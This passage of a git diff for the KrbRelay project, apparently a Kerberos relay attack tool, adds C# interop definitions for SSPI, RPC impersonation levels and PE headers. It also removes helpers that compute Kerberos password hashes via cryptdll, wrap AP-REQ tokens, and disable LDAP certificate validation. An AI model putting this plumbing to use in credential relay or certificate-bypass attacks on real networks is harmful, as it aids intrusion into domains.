IMAGE_DATA_DIRECTORY BoundImport; + public IMAGE_DATA_DIRECTORY IAT; + public IMAGE_DATA_DIRECTORY DelayImportDescriptor; + public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; + public IMAGE_DATA_DIRECTORY Reserved; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_FILE_HEADER + { + public UInt16 Machine; + public UInt16 NumberOfSections; + public UInt32 TimeDateStamp; + public UInt32 PointerToSymbolTable; + public UInt32 NumberOfSymbols; + public UInt16 SizeOfOptionalHeader; + public UInt16 Characteristics; + } + + [StructLayout(LayoutKind.Sequential, Pack = 4)] + public struct IMAGE_NT_HEADERS + { + public Int32 Signature; + public IMAGE_FILE_HEADER FileHeader; + public IMAGE_OPTIONAL_HEADER OptionalHeader; + } + + // Grabbed the following 2 definitions from http://www.pinvoke.net/default.aspx/Structures/IMAGE_SECTION_HEADER.html + + [StructLayout(LayoutKind.Explicit)] + public struct IMAGE_SECTION_HEADER + { + [FieldOffset(0)] + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public char[] Name; + [FieldOffset(8)] + public UInt32 VirtualSize; + [FieldOffset(12)] + public UInt32 VirtualAddress; + [FieldOffset(16)] + public UInt32 SizeOfRawData; + [FieldOffset(20)] + public UInt32 PointerToRawData; + [FieldOffset(24)] + public UInt32 PointerToRelocations; + [FieldOffset(28)] + public UInt32 PointerToLinenumbers; + [FieldOffset(32)] + public UInt16 NumberOfRelocations; + [FieldOffset(34)] + public UInt16 NumberOfLinenumbers; + [FieldOffset(36)] + public uint Characteristics; + + public string Section + { + get { return new string(Name); } + } + } +} diff --git a/KrbRelay/Interop/Rpc.cs b/KrbRelay/Interop/Rpc.cs new file mode 100644 index 0000000..21a42c9 --- /dev/null +++ b/KrbRelay/Interop/Rpc.cs @@ -0,0 +1,25 @@ + +// All enums, structs, and helper types related to RPC + +namespace KrbRelay +{ + public enum AuthnLevel + { + Default = 0, + None = 1, + Connect = 2, + Call = 3, + Pkt = 4, + PktIntegrity = 5, + PktPrivacy = 6 + } + + public enum ImpLevel + { + Default = 0, + Anonymous = 1, + Identify = 2, + Impersonate = 3, + Delegate = 4, + } +} diff --git a/KrbRelay/Interop/Sspi.cs b/KrbRelay/Interop/Sspi.cs new file mode 100644 index 0000000..f74121b --- /dev/null +++ b/KrbRelay/Interop/Sspi.cs @@ -0,0 +1,479 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; + +// All enums, structs, and helper types related to the SSPI subsystem + +namespace KrbRelay +{ + [Flags] + internal enum SecurityBufferType : uint + { + Version = 0, + Empty = 0, + Data = 1, + Token = 2, + PkgParams = 3, + Missing = 4, + Extra = 5, + StreamTrailer = 6, + StreamHeader = 7, + Padding = 9, + Stream = 10, + Mechlist = 11, + MechlistSignature = 12, + Target = 13, + ChannelBindings = 14, + ChangePassResponse = 15, + TargetHost = 16, + Alert = 17, + ApplicationProtocols = 18, + SrtpProtectionProfiles = 19, + SrtpMasterKeyIdentifier = 20, + TokenBinding = 21, + PresharedKey = 22, + PresharedKeyIdentity = 23, + DtlsMtu = 24, + AttrMask = 0xF0000000, + Readonly = 0x80000000, + ReadonlyWithChecksum = 0x10000000 + } + + [Flags] + internal enum SecurityDataRep : uint + { + Native = 0x00000010, + Network = 0x00000000 + } + + internal enum SecurityStatusCode : uint + { + Success = 0, + ContinueNeeded = 0x00090312, + CompleteNeeded = 0x00090313, + CompleteAndContinue = 0x00090314, + AsyncCallPending = 0x00090368, + ContextExpired = 0x00090317, + ContinueNeededMessageOk = 0x00090366, + GenericExtensionReceived = 0x00090316, + IncompleteCredentials = 0x00090320, + LocalLogon = 0x00090315, + MessageFragment = 0x00090364, + NoLsaContext = 0x00090323, + NoRenegotiation = 0x00090360, + Renegotiate = 0x00090321, + SignatureNeeded = 0x0009035C, + AlgorithmMismatch = 0x80090331, + ApplicationProtocolMismatch = 0x80090367, + BadBindings = 0x80090346, + BadPkgid = 0x80090316, + BufferTooSmall = 0x80090321, + CannotInstall = 0x80090307, + CannotPack = 0x80090309, + CertExpired = 0x80090328, + CertUnknown = 0x80090327, + CertWrongUsage = 0x80090349, + CrossrealmDelegationFailure = 0x80090357, + CryptoSystemInvalid = 0x80090337, + DecryptFailure = 0x80090330, + DelegationPolicy = 0x8009035E, + DelegationRequired = 0x80090345, + DowngradeDetected = 0x80090350, + EncryptFailure = 0x80090329, + ExtBufferTooSmall = 0x8009036A, + IllegalMessage = 0x80090326, + IncompleteMessage = 0x80090318, + InsufficientBuffers = 0x8009036B, + InsufficientMemory = 0x80090300, + InternalError = 0x80090304, + InvalidHandle = 0x80090301, + InvalidParameter = 0x8009035D, + InvalidToken = 0x80090308, + InvalidUpnName = 0x80090369, + IssuingCaUntrusted = 0x80090352, + IssuingCaUntrustedKdc = 0x80090359, + KdcCertExpired = 0x8009035A, + KdcCertRevoked = 0x8009035B, + KdcInvalidRequest = 0x80090340, + KdcUnableToRefer = 0x80090341, + KdcUnknownEtype = 0x80090342, + LogonDenied = 0x8009030C, + MaxReferralsExceeded = 0x80090338, + MessageAltered = 0x8009030F, + MultipleAccounts = 0x80090347, + MustBeKdc = 0x80090339, + MutualAuthFailed = 0x80090363, + NotOwner = 0x80090306, + NoAuthenticatingAuthority = 0x80090311, + NoContext = 0x80090361, + NoCredentials = 0x8009030E, + NoImpersonation = 0x8009030B, + NoIpAddresses = 0x80090335, + NoKerbKey = 0x80090348, + NoPaData = 0x8009033C, + NoS4uProtSupport = 0x80090356, + NoTgtReply = 0x80090334, + OnlyHttpsAllowed = 0x80090365, + OutOfSequence = 0x80090310, + PkinitClientFailure = 0x80090354, + PkinitNameMismatch = 0x8009033D, + Pku2uCertFailure = 0x80090362, + PolicyNltmOnly = 0x8009035F, + QopNotSupported = 0x8009030A, + RevocationOfflineC = 0x80090353, + RevocationOfflineKdc = 0x80090358, + SecpkgNotFound = 0x80090305, + SecurityQosFailed = 0x80090332, + ShutdownInProgress = 0x8009033F, + SmartcardCertExpired = 0x80090355, + SmartcardCertRevoked = 0x80090351, + SmartcardLogonRequired = 0x8009033E, + StrongCryptoNotSupported = 0x8009033A, + TargetUnknown = 0x80090303, + TimeSkew = 0x80090324, + TooManyPrincipals = 0x8009033B, + UnfinishedContextDeleted = 0x80090333, + UnknownCredentials = 0x8009030D, + UnsupportedFunction = 0x80090302, + UnsupportedPreauth = 0x80090343, + UntrustedRoot = 0x80090325, + WrongCredentialHandle = 0x80090336, + WrongPrincipal = 0x80090322 + } + + [Flags] + internal enum AcceptContextRetFlags + { + None = 0, + Delegate = 0x00000001, + MutualAuth = 0x00000002, + ReplayDetect = 0x00000004, + SequenceDetect = 0x00000008, + Confidentiality = 0x00000010, + UseSessionKey = 0x00000020, + SessionTicket = 0x00000040, + AllocatedMemory = 0x00000100, + UsedDceStyle = 0x00000200, + Datagram = 0x00000400, + Connection = 0x00000800, + CallLevel = 0x00002000, + ThirdLegFailed = 0x00004000, + ExtendedError = 0x00008000, + Stream = 0x00010000, + Integrity = 0x00020000, + Licensing = 0x00040000, + Identify = 0x00080000, + NullSession = 0x00100000, + AllowNonUserLogons = 0x00200000, + AllowContextReplay = 0x00400000, + FragmentOnly = 0x00800000, + NoToken = 0x01000000, + NoAdditionalToken = 0x02000000 + } + + [Flags] + internal enum AcceptContextReqFlags + { + None = 0, + Delegate = 0x00000001, + MutualAuth = 0x00000002, + ReplayDetect = 0x00000004, + SequenceDetect = 0x00000008, + Confidentiality = 0x00000010, + UseSessionKey = 0x00000020, + SessionTicket = 0x00000040, + AllocateMemory = 0x00000100, + UseDceStyle = 0x00000200, + Datagram = 0x00000400, + Connection = 0x00000800, + CallLevel = 0x00001000, + FragmentSupplied = 0x00002000, + ExtendedError = 0x00008000, + Stream = 0x00010000, + Integrity = 0x00020000, + Licensing = 0x00040000, + Identify = 0x00080000, + AllowNullSessions = 0x00100000, + AllowNonUserLogons = 0x00200000, + AllowContextReplay = 0x00400000, + FragmentToFit = 0x00800000, + NoToken = 0x01000000, + ProxyBindings = 0x04000000, + AllowMissingBindings = 0x10000000 + } + + internal unsafe delegate SecurityStatusCode AcceptSecurityContextFunc( + SspiHandle* phCredential, + SspiHandle* phContext, // This might be null on first call, ref hates that + SecurityBufferDescriptor* pInput, + AcceptContextReqFlags fContextReq, + uint TargetDataRep, + SspiHandle* phNewContext, + SecurityBufferDescriptor* pOutput, + uint* pfContextAttr, + LARGE_INTEGER* ptsTimeStamp + ); + + internal unsafe delegate SecurityStatusCode AcquireCredentialsHandleFunc( + string pszPrincipal, + string pszPackage, // "Kerberos","NTLM","Negotiative" + uint fCredentialUse, + IntPtr pvLogonID, + IntPtr pAuthData, + IntPtr pGetKeyFn, + IntPtr pvGetKeyArgument, + SspiHandle* phCredential, + LARGE_INTEGER* ptsExpiry + ); + + internal unsafe delegate SecurityStatusCode InitializeSecurityContextFunc( + SspiHandle* phCredential, + SspiHandle* phContext, + string pszTargetName, + uint fContextReq, + uint Reserved1, + uint TargetDataRep, + SecurityBufferDescriptor* pInput, + uint Reserved2, + SspiHandle* phNewContext, + SecurityBufferDescriptor* pOutput, + uint* pfContextAttr, + LARGE_INTEGER* ptsExpiry + ); + + internal unsafe delegate SecurityStatusCode QueryContextAttributesFunc( + SspiHandle* phContext, + uint ulAttribute, + IntPtr pValue + ); + + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + internal struct SecurityFunctionTable + { + public uint dwVersion; + public IntPtr EnumerateSecurityPackages; + public IntPtr QueryCredentialsAttributes; + public IntPtr AcquireCredentialsHandle; + public IntPtr FreeCredentialHandle; + public IntPtr Reserved1; + public IntPtr InitializeSecurityContext; + public IntPtr AcceptSecurityContext; + public IntPtr CompleteAuthToken; + public IntPtr DeleteSecurityContext; + public IntPtr ApplyControlToken; + public IntPtr QueryContextAttributes; + public IntPtr ImpersonateSecurityContext; + public IntPtr RevertSecurityContext; + public IntPtr MakeSignature; + public IntPtr VerifySignature; + public IntPtr FreeContextBuffer; + public IntPtr QuerySecurityPackageInfo; + public IntPtr Reserved2; + public IntPtr Reserved3; + public IntPtr ExportSecurityContext; + public IntPtr ImportSecurityContext; + public IntPtr AddCredentials; + public IntPtr Reserved4; + public IntPtr QuerySecurityContextToken; + public IntPtr EncryptMessage; + public IntPtr DecryptMessage; + public IntPtr SetContextAttributes; + public IntPtr SetCredentialsAttributes; + public IntPtr ChangeAccountPassword; + public IntPtr Reserved5; + public IntPtr QueryContextAttributesEx; + public IntPtr QueryCredentialsAttributesEx; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct SspiHandle + { + public IntPtr High; + public IntPtr Low; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct SecurityBufferDescriptor : IDisposable + { + public SecurityBufferType Version; + public int NumBuffers; + public IntPtr BufferPtr; + + public SecurityBufferDescriptor(int bufferSize) + { + Version = SecurityBufferType.Version; + NumBuffers = 1; + var buffer = new SecurityBuffer(bufferSize); + BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(buffer)); + Marshal.StructureToPtr(buffer, BufferPtr, false); + } + + public SecurityBufferDescriptor(byte[] secBufferBytes) + { + Version = SecurityBufferType.Version; + NumBuffers = 1; + var buffer = new SecurityBuffer(secBufferBytes); + BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(buffer)); + Marshal.StructureToPtr(buffer, BufferPtr, false); + } + + public SecurityBufferDescriptor(SecurityBuffer[] buffers) + { + if (buffers == null || buffers.Length == 0) + { + throw new ArgumentException("cannot be null or 0 length", "buffers"); + } + + Version = SecurityBufferType.Version; + NumBuffers = buffers.Length; + BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SecurityBuffer)) * NumBuffers); + + for (int i = 0; i < buffers.Length; i++) + { + Marshal.StructureToPtr( + buffers[i], + BufferPtr + i * Marshal.SizeOf(typeof(SecurityBuffer)), + false + ); + } + } + + public List GetBuffers() + { + if (BufferPtr == IntPtr.Zero) + { + throw new InvalidOperationException("BufferPtr is NULL"); + } + + List buffers = new List(); + for (int index = 0; index < NumBuffers; index++) + { + buffers.Add( + (SecurityBuffer)Marshal.PtrToStructure( + BufferPtr + (index * Marshal.SizeOf(typeof(SecurityBuffer))), + typeof(SecurityBuffer) + ) + ); + } + + return buffers; + } + + public byte[] ToByteArray() + { + var bytes = new List(); + foreach (var buffer in GetBuffers()) + { + for (int i = 0; i < buffer.Count; i++) + { + bytes.Add(Marshal.ReadByte(buffer.Token + i)); + } + } + + return bytes.ToArray(); + } + + public SecurityBuffer GetTokenBuffer() + { + return GetBuffers().Where(b => (b.BufferType & SecurityBufferType.Token) != 0).First(); + } + + public byte[] GetTokenBytes() + { + return GetTokenBuffer().ToByteArray(); + } + + public SecurityBuffer UpdateTokenBytes(byte[] bytes) + { + SecurityBuffer tokenBuffer = GetTokenBuffer(); + tokenBuffer.Replace(bytes); + return tokenBuffer; + } + + public void Dispose() + { + if (BufferPtr != IntPtr.Zero) + { + foreach (var buffer in GetBuffers()) + { + buffer.Dispose(); + } + + Marshal.FreeHGlobal(BufferPtr); + BufferPtr = IntPtr.Zero; + } + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct SecurityBuffer : IDisposable + { + public int Count; + public SecurityBufferType BufferType; + public IntPtr Token; + + public SecurityBuffer(int bufferSize) + { + Count = bufferSize; + BufferType = SecurityBufferType.Token; + Token = Marshal.AllocHGlobal(bufferSize); + } + + public SecurityBuffer(byte[] bytes) + { + Count = bytes.Length; + BufferType = SecurityBufferType.Token; + Token = Marshal.AllocHGlobal(bytes.Length); + Marshal.Copy(bytes, 0, Token, bytes.Length); + } + + public SecurityBuffer(byte[] bytes, SecurityBufferType bufferType) + { + BufferType = bufferType; + + if (bytes != null && bytes.Length != 0) + { + Count = bytes.Length; + Token = Marshal.AllocHGlobal(Count); + Marshal.Copy(bytes, 0, Token, Count); + } + else + { + Count = 0; + Token = IntPtr.Zero; + } + } + + public byte[] ToByteArray() + { + var bytes = new List(); + for (int i = 0; i < Count; i++) + { + bytes.Add(Marshal.ReadByte(Token + i)); + } + + return bytes.ToArray(); + } + + public void Replace(byte[] newBytes) + { + if (newBytes.Length > Count) + { + throw new InvalidOperationException("Allocated buffer is too small"); + }; + Count = newBytes.Length; + Marshal.Copy(newBytes, 0, Token, Count); + } + + public void Dispose() + { + if (Token != IntPtr.Zero) + { + Marshal.FreeHGlobal(Token); + Token = IntPtr.Zero; + } + } + } +} diff --git a/KrbRelay/Interop/WTS.cs b/KrbRelay/Interop/WTS.cs new file mode 100644 index 0000000..ce3b6c6 --- /dev/null +++ b/KrbRelay/Interop/WTS.cs @@ -0,0 +1,40 @@ + +// All enums, structs, and helper types related to the WTS/Session subsystem + +namespace KrbRelay +{ + internal enum WtsInfoClass + { + InitialProgram = 0, + ApplicationName = 1, + WorkingDirectory = 2, + OEMId = 3, + SessionId = 4, + UserName = 5, + WinStationName = 6, + DomainName = 7, + ConnectState = 8, + ClientBuildNumber = 9, + ClientName = 10, + ClientDirectory = 11, + ClientProductId = 12, + ClientHardwareId = 13, + ClientAddress = 14, + ClientDisplay = 15, + ClientProtocolType = 16 + } + + internal enum WtsConnectStateClass + { + Active, + Connected, + ConnectQuery, + Shadow, + Disconnected, + Idle, + Listen, + Reset, + Down, + Init + } +} diff --git a/KrbRelay/KrbRelay.csproj b/KrbRelay/KrbRelay.csproj index 5ad04a2..1133d16 100644 --- a/KrbRelay/KrbRelay.csproj +++ b/KrbRelay/KrbRelay.csproj @@ -42,6 +42,7 @@ prompt 4 false + true AnyCPU @@ -84,12 +85,12 @@ - + - + @@ -98,6 +99,8 @@ + + @@ -121,23 +124,28 @@ - - - - - - - - - + + + + + + + + + + + + + - + + - + @@ -875,13 +883,14 @@ - + + diff --git a/KrbRelay/Misc/Helpers.cs b/KrbRelay/Misc/Helpers.cs deleted file mode 100644 index 191324b..0000000 --- a/KrbRelay/Misc/Helpers.cs +++ /dev/null @@ -1,375 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Globalization; -using System.IO; -using System.Linq; -using System.Runtime.InteropServices; -using System.Text; - -namespace KrbRelay -{ - internal class Helpers - { - - - //https://github.com/rvazarkar/GMSAPasswordReader - public static string KerberosPasswordHash(Interop.KERB_ETYPE etype, string password, string salt = "", int count = 4096) - { - // use the internal KERB_ECRYPT HashPassword() function to calculate a password hash of a given etype - // adapted from @gentilkiwi's Mimikatz "kerberos::hash" implementation - - Interop.KERB_ECRYPT pCSystem; - IntPtr pCSystemPtr; - - // locate the crypto system for the hash type we want - int status = Interop.CDLocateCSystem(etype, out pCSystemPtr); - - pCSystem = (Interop.KERB_ECRYPT)System.Runtime.InteropServices.Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); - if (status != 0) - throw new System.ComponentModel.Win32Exception(status, "Error on CDLocateCSystem"); - - // get the delegate for the password hash function - Interop.KERB_ECRYPT_HashPassword pCSystemHashPassword = (Interop.KERB_ECRYPT_HashPassword)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(pCSystem.HashPassword, typeof(Interop.KERB_ECRYPT_HashPassword)); - Interop.UNICODE_STRING passwordUnicode = new Interop.UNICODE_STRING(password); - Interop.UNICODE_STRING saltUnicode = new Interop.UNICODE_STRING(salt); - - byte[] output = new byte[pCSystem.KeySize]; - - int success = pCSystemHashPassword(passwordUnicode, saltUnicode, count, output); - - if (status != 0) - throw new Win32Exception(status); - - return System.BitConverter.ToString(output).Replace("-", ""); - } - - public static byte[] unhexlify(string hexvalue) - { - if (hexvalue.Length % 2 != 0) - hexvalue = "0" + hexvalue; - int len = hexvalue.Length / 2; - byte[] bytes = new byte[len]; - for (int i = 0; i < len; i++) - { - string byteString = hexvalue.Substring(2 * i, 2); - bytes[i] = Convert.ToByte(byteString, 16); - } - return bytes; - } - - public static string ByteArrayToString(byte[] ba) - { - StringBuilder hex = new StringBuilder(ba.Length * 2); - foreach (byte b in ba) - hex.AppendFormat("{0:x2}", b); - return hex.ToString(); - } - - public static byte[] StringToByteArray(string s) - { - return Enumerable.Range(0, s.Length) - .Where(x => x % 2 == 0) - .Select(x => Convert.ToByte(s.Substring(x, 2), 16)) - .ToArray(); - } - - public static void PrintProperties(object myObj, string header = "", int offset = 0) - { - string trail = String.Concat(Enumerable.Repeat(" ", offset)); - - if (!string.IsNullOrEmpty(header)) - Console.WriteLine(header); - - foreach (var prop in myObj.GetType().GetProperties()) - { - try - { - if (!string.IsNullOrEmpty((string)(prop.GetValue(myObj, null)))) - Console.WriteLine(trail + prop.Name + ": " + prop.GetValue(myObj, null)); - } - catch (Exception e) - { - Console.WriteLine(trail + prop.Name + ": " + prop.GetValue(myObj, null)); - } - } - - foreach (var field in myObj.GetType().GetFields()) - { - try - { - if (!string.IsNullOrEmpty((string)field.GetValue(myObj))) - Console.WriteLine(trail + field.Name + ": " + field.GetValue(myObj)); - } - catch (Exception e) - { - Console.WriteLine(trail + field.Name + ": " + field.GetValue(myObj)); - } - } - } - - public static T ReadStruct(byte[] array) where T : struct - { - var handle = GCHandle.Alloc(array, GCHandleType.Pinned); - var mystruct = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); - handle.Free(); - - return mystruct; - } - - public static int FieldOffset(string fieldName) - { - return Marshal.OffsetOf(typeof(T), fieldName).ToInt32(); - } - - public static int StructFieldOffset(Type s, string field) - { - var ex = typeof(Program); - var mi = ex.GetMethod("FieldOffset"); - var miConstructed = mi.MakeGenericMethod(s); - object[] args = { field }; - return (int)miConstructed.Invoke(null, args); - } - - private static string GenRandomName() - { - Random r = new Random(); - StringBuilder builder = new StringBuilder(); - - for (int i = 0; i < 8; i++) - { - int c = r.Next(26); - builder.Append((char)('A' + c)); - } - - return builder.ToString(); - } - - public static byte[] EncodeLength(int length) - - { - if (length < 0x80) - - return new byte[] { (byte)length }; - - if (length < 0x100) - - return new byte[] { 0x81, (byte)length }; - - if (length < 0x10000) - - return new byte[] { 0x82, (byte)(length >> 8), - - (byte)(length & 0xFF) }; - - throw new ArgumentException("Invalid length", nameof(length)); - } - - public static byte[] ConvertApReq(byte[] token) - { - if (token.Length == 0 || token[0] != 0x6E) //return if packet is not kerberos - return token; - - MemoryStream stm = new MemoryStream(); - - BinaryWriter writer = new BinaryWriter(stm); - - //write KRB5_OID + KRB5_tok_ID - byte[] header = new byte[] { 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02, 0x01, 0x00 }; - - writer.Write((byte)0x60); - - writer.Write(EncodeLength(header.Length + token.Length)); - - writer.Write(header); - - writer.Write(token); - - return stm.ToArray(); - } - - public static List SearchBytePattern(byte[] pattern, byte[] bytes) - { - List positions = new List(); - int patternLength = pattern.Length; - int totalLength = bytes.Length; - byte firstMatchByte = pattern[0]; - for (int i = 0; i < totalLength; i++) - { - if (firstMatchByte == bytes[i] && totalLength - i >= patternLength) - { - byte[] match = new byte[patternLength]; - Array.Copy(bytes, i, match, 0, patternLength); - if (match.SequenceEqual(pattern)) - { - positions.Add(i); - i += patternLength - 1; - } - } - } - return positions; - } - - public static byte[] Combine(params byte[][] arrays) - { - byte[] ret = new byte[arrays.Sum(x => x.Length)]; - int offset = 0; - foreach (byte[] data in arrays) - { - Buffer.BlockCopy(data, 0, ret, offset, data.Length); - offset += data.Length; - } - return ret; - } - - public static int PatternAt(byte[] src, byte[] pattern, bool firstMatch = false) - { - int maxFirstCharSlot = src.Length - pattern.Length + 1; - for (int i = 0; i < maxFirstCharSlot; i++) - { - if (src[i] != pattern[0]) // compare only first byte - continue; - if (firstMatch == true) - return i; - // found a match on first byte, now try to match rest of the pattern - for (int j = pattern.Length - 1; j >= 1; j--) - { - if (src[i + j] != pattern[j]) break; - if (j == 1) return i; - } - } - return -1; - } - - public static byte[] ConvertHexStringToByteArray(string hexString) - { - if (hexString.Length % 2 != 0) - { - throw new ArgumentException(String.Format(CultureInfo.InvariantCulture, "The binary key cannot have an odd number of digits: {0}", hexString)); - } - - byte[] data = new byte[hexString.Length / 2]; - for (int index = 0; index < data.Length; index++) - { - string byteValue = hexString.Substring(index * 2, 2); - data[index] = byte.Parse(byteValue, NumberStyles.HexNumber, CultureInfo.InvariantCulture); - } - - return data; - } - - //ldap - - - internal static IEnumerable GetPointerArray(IntPtr array) - { - if (array != IntPtr.Zero) - { - var count = 0; - var tempPtr = Marshal.ReadIntPtr(array, count * IntPtr.Size); - while (tempPtr != IntPtr.Zero) - { - yield return tempPtr; - count++; - tempPtr = Marshal.ReadIntPtr(array, count * IntPtr.Size); - } - } - } - - internal static IntPtr AllocHGlobalIntPtrArray(int size) - { - checked - { - var intPtrArray = Marshal.AllocHGlobal(IntPtr.Size * size); - for (var i = 0; i < size; i++) - { - Marshal.WriteIntPtr(intPtrArray, IntPtr.Size * i, IntPtr.Zero); - } - - return intPtrArray; - } - } - - internal static void StructureArrayToPtr(IEnumerable array, IntPtr ptr, bool endNull = false) - { - var ptrArray = array.Select(structure => - { - var structPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(T))); - Marshal.StructureToPtr(structure, structPtr, false); - return structPtr; - }).ToList(); - if (endNull) - { - ptrArray.Add(IntPtr.Zero); - } - - Marshal.Copy(ptrArray.ToArray(), 0, ptr, ptrArray.Count); - } - - internal static void ByteArraysToBerValueArray(byte[][] sourceData, IntPtr ptr) - { - for (var i = 0; i < sourceData.Length; i++) - { - var berPtr = ByteArrayToBerValue(sourceData[i]); - Marshal.WriteIntPtr(ptr, i * IntPtr.Size, berPtr); - } - - Marshal.WriteIntPtr(ptr, sourceData.Length * IntPtr.Size, IntPtr.Zero); - } - - internal static IntPtr ByteArrayToBerValue(byte[] bytes) - { - var berPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Natives.berval))); - var valPtr = Marshal.AllocHGlobal(bytes.Length); - Marshal.Copy(bytes, 0, valPtr, bytes.Length); - Marshal.StructureToPtr(new Natives.berval - { - bv_val = valPtr, - bv_len = bytes.Length - }, berPtr, true); - return berPtr; - } - - internal static void BerValFree(IntPtr berval) - { - if (berval != IntPtr.Zero) - { - var b = (Natives.berval)Marshal.PtrToStructure(berval, typeof(Natives.berval)); - Marshal.FreeHGlobal(b.bv_val); - Marshal.FreeHGlobal(berval); - } - } - - internal static void BerValuesFree(IntPtr array) - { - foreach (var ptr in GetPointerArray(array)) - { - BerValFree(ptr); - } - } - - public static List BerValArrayToByteArrays(IntPtr ptr) - { - var result = new List(); - foreach (var tempPtr in GetPointerArray(ptr)) - { - var bervalue = new Natives.berval(); - Marshal.PtrToStructure(tempPtr, bervalue); - if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero) - { - var byteArray = new byte[bervalue.bv_len]; - Marshal.Copy(bervalue.bv_val, byteArray, 0, bervalue.bv_len); - result.Add(byteArray); - } - } - - return result; - } - - public static uint TrustAllCertificates(IntPtr ld) - { - return Natives.ldap_set_option(ld, 0x81, //LDAP_OPT_SERVER_CERTIFICATE - Marshal.GetFunctionPointerForDelegate((connection, serverCert) => true)); - } - } -} \ No newline at end of file diff --git a/KrbRelay/Misc/Interop.cs b/KrbRelay/Misc/Interop.cs deleted file mode 100644 index 61f8320..0000000 --- a/KrbRelay/Misc/Interop.cs +++ /dev/null @@ -1,96 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace KrbRelay -{ - /// - /// Taken and stripped from https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/Interop.cs - /// - public class Interop - { - // constants - - // Enums - // from https://tools.ietf.org/html/rfc3961 - public enum KERB_ETYPE : UInt32 - { - des_cbc_crc = 1, - des_cbc_md4 = 2, - des_cbc_md5 = 3, - des3_cbc_md5 = 5, - des3_cbc_sha1 = 7, - dsaWithSHA1_CmsOID = 9, - md5WithRSAEncryption_CmsOID = 10, - sha1WithRSAEncryption_CmsOID = 11, - rc2CBC_EnvOID = 12, - rsaEncryption_EnvOID = 13, - rsaES_OAEP_ENV_OID = 14, - des_ede3_cbc_Env_OID = 15, - des3_cbc_sha1_kd = 16, - aes128_cts_hmac_sha1 = 17, - aes256_cts_hmac_sha1 = 18, - rc4_hmac = 23, - rc4_hmac_exp = 24, - subkey_keymaterial = 65 - } - - // structs - // From Vincent LE TOUX' "MakeMeEnterpriseAdmin" - // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794 - [StructLayout(LayoutKind.Sequential)] - public struct KERB_ECRYPT - { - private int Type0; - public int BlockSize; - private int Type1; - public int KeySize; - public int Size; - private int unk2; - private int unk3; - public IntPtr AlgName; - public IntPtr Initialize; - public IntPtr Encrypt; - public IntPtr Decrypt; - public IntPtr Finish; - public IntPtr HashPassword; - private IntPtr RandomKey; - private IntPtr Control; - private IntPtr unk0_null; - private IntPtr unk1_null; - private IntPtr unk2_null; - } - - [StructLayout(LayoutKind.Sequential)] - public struct UNICODE_STRING : IDisposable - { - public ushort Length; - public ushort MaximumLength; - public IntPtr buffer; - - public UNICODE_STRING(string s) - { - Length = (ushort)(s.Length * 2); - MaximumLength = (ushort)(Length + 2); - buffer = Marshal.StringToHGlobalUni(s); - } - - public void Dispose() - { - Marshal.FreeHGlobal(buffer); - buffer = IntPtr.Zero; - } - - public override string ToString() - { - return Marshal.PtrToStringUni(buffer); - } - } - - // functions - // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin" - [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)] - public static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum); - - public delegate int KERB_ECRYPT_HashPassword(UNICODE_STRING Password, UNICODE_STRING Salt, int count, byte[] output); - } -} \ No newline at end of file diff --git a/KrbRelay/Misc/Natives.cs b/KrbRelay/Misc/Natives.cs deleted file mode 100644 index 3fe777c..0000000 --- a/KrbRelay/Misc/Natives.cs +++ /dev/null @@ -1,924 +0,0 @@ -using SMBLibrary; -using System; -using System.Runtime.InteropServices; -using System.Text; - -namespace KrbRelay -{ - internal class Natives - { - public enum WTS_INFO_CLASS - { - InitialProgram = 0, - ApplicationName = 1, - WorkingDirectory = 2, - OEMId = 3, - SessionId = 4, - UserName = 5, - WinStationName = 6, - DomainName = 7, - ConnectState = 8, - ClientBuildNumber = 9, - ClientName = 10, - ClientDirectory = 11, - ClientProductId = 12, - ClientHardwareId = 13, - ClientAddress = 14, - ClientDisplay = 15, - ClientProtocolType = 16 - } - - public enum WTS_CONNECTSTATE_CLASS - { - Active, - Connected, - ConnectQuery, - Shadow, - Disconnected, - Idle, - Listen, - Reset, - Down, - Init - } - - [DllImport("wldap32", EntryPoint = "ldap_set_option", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - public static extern uint ldap_set_option(IntPtr ld, uint option, ref uint invalue); - - [DllImport("wldap32", EntryPoint = "ldap_set_option", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - public static extern uint ldap_set_option(IntPtr ld, uint option, IntPtr pointer); - - [DllImport("wldap32", EntryPoint = "ldap_connect", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern uint ldap_connect(IntPtr ld, LDAP_TIMEVAL timeout); - - [DllImport("wldap32", EntryPoint = "ldap_initA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr ldap_init(string hostname, uint port); - - [DllImport("wldap32", EntryPoint = "ldap_sasl_bind_sA", CharSet = CharSet.Ansi)] - public static extern int ldap_sasl_bind( - [In] IntPtr ld, - string dn, string mechanism, - IntPtr cred, - IntPtr serverctrls, - IntPtr clientctrls, - out IntPtr msgidp); - - [StructLayout(LayoutKind.Sequential)] - internal sealed class berval - { - 